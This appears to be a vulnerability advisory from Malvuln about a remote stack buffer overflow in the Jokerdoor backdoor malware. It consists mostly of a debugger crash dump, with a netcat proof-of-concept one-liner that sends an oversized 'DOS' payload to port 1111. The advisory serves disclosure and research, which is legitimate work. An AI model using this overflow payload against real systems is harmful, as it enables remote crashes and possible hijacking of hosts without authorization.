Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/6ec85a641656f63f4de853468509d3e3.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Jokerdoor Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 1111 and drops an randomly named executable E.g. xmutfeb.exe etc. Third party attackers who can reach an infected system can send a junk payload and trigger a classic stack buffer overflow overwriting the EBP, EIP registers and structured exception handler (SEH). When connecting you will get a "connected" server response, then we supply our payload as a parameter prefixed by "DOS" as running commands result in error. E.g. connected. 00 05 - November 4, 2021, Thursday, ver Legends 2.1 DOS whoami DOS0224error running command. Type: PE32 MD5: 6ec85a641656f63f4de853468509d3e3 Vuln ID: MVID-2021-0390 Dropped files: randomly named EXE ASLR: False DEP: False Safe SEH: True Disclosure: 11/04/2021 Memory Dump: (1728.10d4): Stack buffer overflow - code c0000409 (first/second chance not available) eax=00000000 ebx=00000000 ecx=749feb0d edx=00000000 esi=00000000 edi=00000002 eip=7770ed3c esp=0019ec30 ebp=0019ec70 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 ntdll!ZwWaitForMultipleObjects+0xc: 7770ed3c c21400 ret 14h 0:000> .ecxr eax=00010000 ebx=04253c0c ecx=749feb0d edx=00000000 esi=0042038a edi=02a30d24 eip=41414141 esp=0019f2e4 ebp=41414141 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 41414141 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for xmutfeb.exe *** ERROR: Module load completed but symbols could not be loaded for xmutfeb.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: +14141 41414141 ?? ??? EXCEPTION_RECORD: 0019ee34 -- (.exr 0x19ee34) ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000008 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 PROCESS_NAME: xmutfeb.exe ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_PARAMETER1: 00000015 MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAILED_INSTRUCTION_ADDRESS: +14141 41414141 ?? ??? CONTEXT: 0019ee84 -- (.cxr 0x19ee84) eax=00010000 ebx=04253c0c ecx=749feb0d edx=00000000 esi=0042038a edi=02a30d24 eip=41414141 esp=0019f2e4 ebp=41414141 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 41414141 ?? ??? Resetting default scope READ_ADDRESS: 41414141 FOLLOWUP_IP: xmutfeb+14141 00414141 df3c24 fistp qword ptr [esp] FAULTING_THREAD: 000010d4 BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 FRAME_ONE_INVALID: 1 LAST_CONTROL_TRANSFER: from 41414141 to 41414141 STACK_TEXT: WARNING: Frame IP not in any known module. Following frames may be wrong. 0019f2e0 41414141 41414141 41414141 41414141 0x41414141 0019f2e4 41414141 41414141 41414141 41414141 0x41414141 0019f2e8 41414141 41414141 41414141 41414141 0x41414141 0019f2ec 41414141 41414141 41414141 41414141 0x41414141 0019f2f0 41414141 41414141 41414141 41414141 0x41414141 0019f2f4 41414141 41414141 41414141 41414141 0x41414141 0019f2f8 41414141 41414141 41414141 41414141 0x41414141 0019f2fc 41414141 41414141 41414141 41414141 0x41414141 0019f300 41414141 41414141 41414141 41414141 0x41414141 0019f304 41414141 41414141 41414141 41414141 0x41414141 0019f308 41414141 41414141 41414141 41414141 0x41414141 0019f30c 41414141 41414141 41414141 41414141 0x41414141 0019f310 41414141 41414141 41414141 41414141 0x41414141 0019f314 41414141 41414141 41414141 41414141 0x41414141 0019f318 41414141 41414141 41414141 41414141 0x41414141 0019f31c 41414141 41414141 41414141 41414141 0x41414141 0019f320 41414141 41414141 41414141 41414141 0x41414141 0019f324 41414141 41414141 41414141 41414141 0x41414141 0019f328 41414141 41414141 41414141 41414141 0x41414141 0019f32c 41414141 41414141 41414141 41414141 0x41414141 0019f330 41414141 41414141 41414141 41414141 0x41414141 0019f334 41414141 41414141 41414141 41414141 0x41414141 0019f338 41414141 41414141 41414141 41414141 0x41414141 0019f33c 41414141 41414141 41414141 41414141 0x41414141 0019f340 41414141 41414141 41414141 41414141 0x41414141 0019f344 41414141 41414141 41414141 41414141 0x41414141 0019f348 41414141 41414141 41414141 41414141 0x41414141 0019f34c 41414141 41414141 41414141 41414141 0x41414141 0019f350 41414141 41414141 41414141 41414141 0x41414141 0019f354 41414141 41414141 41414141 41414141 0x41414141 0019f358 41414141 41414141 41414141 41414141 0x41414141 0019f35c 41414141 41414141 41414141 41414141 0x41414141 0019f360 41414141 41414141 41414141 41414141 0x41414141 0019f364 41414141 41414141 41414141 41414141 0x41414141 0019f368 41414141 41414141 41414141 41414141 0x41414141 0019f36c 41414141 41414141 41414141 41414141 0x41414141 0019f370 41414141 41414141 41414141 41414141 0x41414141 0019f374 41414141 41414141 41414141 41414141 0x41414141 0019f378 41414141 41414141 41414141 41414141 0x41414141 0019f37c 41414141 41414141 41414141 41414141 0x41414141 0019f380 41414141 41414141 41414141 41414141 0x41414141 0019f384 41414141 41414141 41414141 41414141 0x41414141 0019f388 41414141 41414141 41414141 41414141 0x41414141 0019f38c 41414141 41414141 41414141 41414141 0x41414141 0019f390 41414141 41414141 41414141 41414141 0x41414141 0019f394 41414141 41414141 41414141 41414141 0x41414141 0019f398 41414141 41414141 41414141 41414141 0x41414141 0019f39c 41414141 41414141 41414141 41414141 0x41414141 0019f3a0 41414141 41414141 41414141 41414141 0x41414141 0019f3a4 41414141 41414141 41414141 41414141 0x41414141 0019f3a8 41414141 41414141 41414141 41414141 0x41414141 0019f3ac 41414141 41414141 41414141 41414141 0x41414141 0019f3b0 41414141 41414141 41414141 41414141 0x41414141 0019f3b4 41414141 41414141 41414141 41414141 0x41414141 0019f3b8 41414141 41414141 41414141 41414141 0x41414141 0019f3bc 41414141 41414141 41414141 41414141 0x41414141 0019f3c0 41414141 41414141 41414141 41414141 0x41414141 0019f3c4 41414141 41414141 41414141 41414141 0x41414141 0019f3c8 41414141 41414141 41414141 41414141 0x41414141 0019f3cc 41414141 41414141 41414141 41414141 0x41414141 0019f3d0 41414141 41414141 41414141 41414141 0x41414141 0019f3d4 41414141 41414141 41414141 41414141 0x41414141 0019f3d8 41414141 41414141 41414141 41414141 0x41414141 0019f3dc 41414141 41414141 41414141 41414141 0x41414141 0019f3e0 41414141 41414141 41414141 41414141 0x41414141 0019f3e4 41414141 41414141 41414141 41414141 0x41414141 0019f3e8 41414141 41414141 41414141 41414141 0x41414141 0019f3ec 41414141 41414141 41414141 41414141 0x41414141 0019f3f0 41414141 41414141 41414141 41414141 0x41414141 0019f3f4 41414141 41414141 41414141 41414141 0x41414141 0019f3f8 41414141 41414141 41414141 41414141 0x41414141 0019f3fc 41414141 41414141 41414141 41414141 0x41414141 0019f400 41414141 41414141 41414141 41414141 0x41414141 0019f404 41414141 41414141 41414141 41414141 0x41414141 0019f408 41414141 41414141 41414141 41414141 0x41414141 0019f40c 41414141 41414141 41414141 41414141 0x41414141 0019f410 41414141 41414141 41414141 41414141 0x41414141 0019f414 41414141 41414141 41414141 41414141 0x41414141 0019f418 41414141 41414141 41414141 41414141 0x41414141 0019f41c 41414141 41414141 41414141 41414141 0x41414141 0019f420 41414141 41414141 41414141 41414141 0x41414141 0019f424 41414141 41414141 41414141 41414141 0x41414141 0019f428 41414141 41414141 41414141 41414141 0x41414141 0019f42c 41414141 41414141 41414141 41414141 0x41414141 0019f430 41414141 41414141 41414141 41414141 0x41414141 0019f434 41414141 41414141 41414141 41414141 0x41414141 0019f438 41414141 41414141 41414141 41414141 0x41414141 0019f43c 41414141 41414141 41414141 41414141 0x41414141 0019f440 41414141 41414141 41414141 41414141 0x41414141 0019f444 41414141 41414141 41414141 41414141 0x41414141 0019f448 41414141 41414141 41414141 41414141 0x41414141 0019f44c 41414141 41414141 41414141 41414141 0x41414141 0019f450 41414141 41414141 41414141 41414141 0x41414141 0019f454 41414141 41414141 41414141 41414141 0x41414141 0019f458 41414141 41414141 41414141 41414141 0x41414141 0019f45c 41414141 41414141 41414141 41414141 0x41414141 0019f460 41414141 41414141 41414141 41414141 0x41414141 0019f464 41414141 41414141 41414141 41414141 0x41414141 0019f468 41414141 41414141 41414141 41414141 0x41414141 0019f46c 41414141 41414141 41414141 41414141 0x41414141 0019f470 41414141 41414141 41414141 41414141 0x41414141 0019f474 41414141 41414141 41414141 41414141 0x41414141 0019f478 41414141 41414141 41414141 41414141 0x41414141 0019f47c 41414141 41414141 41414141 41414141 0x41414141 0019f480 41414141 41414141 41414141 41414141 0x41414141 0019f484 41414141 41414141 41414141 41414141 0x41414141 0019f488 41414141 41414141 41414141 41414141 0x41414141 0019f48c 41414141 41414141 41414141 41414141 0x41414141 0019f490 41414141 41414141 41414141 41414141 0x41414141 0019f494 41414141 41414141 41414141 41414141 0x41414141 0019f498 41414141 41414141 41414141 41414141 0x41414141 0019f49c 41414141 41414141 41414141 41414141 0x41414141 0019f4a0 41414141 41414141 41414141 41414141 0x41414141 0019f4a4 41414141 41414141 41414141 41414141 0x41414141 0019f4a8 41414141 41414141 41414141 41414141 0x41414141 0019f4ac 41414141 41414141 41414141 41414141 0x41414141 0019f4b0 41414141 41414141 41414141 41414141 0x41414141 0019f4b4 41414141 41414141 41414141 41414141 0x41414141 0019f4b8 41414141 41414141 41414141 41414141 0x41414141 0019f4bc 41414141 41414141 41414141 41414141 0x41414141 0019f4c0 41414141 41414141 41414141 41414141 0x41414141 0019f4c4 41414141 41414141 41414141 41414141 0x41414141 0019f4c8 41414141 41414141 41414141 41414141 0x41414141 0019f4cc 41414141 41414141 41414141 41414141 0x41414141 0019f4d0 41414141 41414141 41414141 41414141 0x41414141 0019f4d4 41414141 41414141 41414141 41414141 0x41414141 0019f4d8 41414141 41414141 41414141 41414141 0x41414141 0019f4dc 41414141 41414141 41414141 41414141 0x41414141 0019f4e0 41414141 41414141 41414141 00414141 0x41414141 0019f4e4 41414141 41414141 00414141 00000000 0x41414141 0019f4e8 41414141 00414141 00000000 00000000 0x41414141 0019f4ec 00414141 00000000 00000000 00000000 0x41414141 0019f4f0 00000000 00000000 00000000 00000000 xmutfeb+0x14141 SYMBOL_STACK_INDEX: 84 SYMBOL_NAME: xmutfeb+14141 FOLLOWUP_NAME: MachineOwner MODULE_NAME: xmutfeb IMAGE_NAME: xmutfeb.exe DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19 STACK_COMMAND: .cxr 0x19ee84 ; kb FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141_c0000409_xmutfeb.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141_MISSING_GSFRAME_BAD_IP_xmutfeb+14141 0:000> !exchain 0019ece8: ntdll!_except_handler4+0 (77716a50) CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (777557ad) 0019f2e4: 41414141 Invalid exception stack at 41414141 Exploit/PoC: python -c "print('DOS'+'A'*804)" | nc64.exe x.x.x.x 1111 connected. 00:05 - November 4, 2021, Thursday, ver: Legends 2.1 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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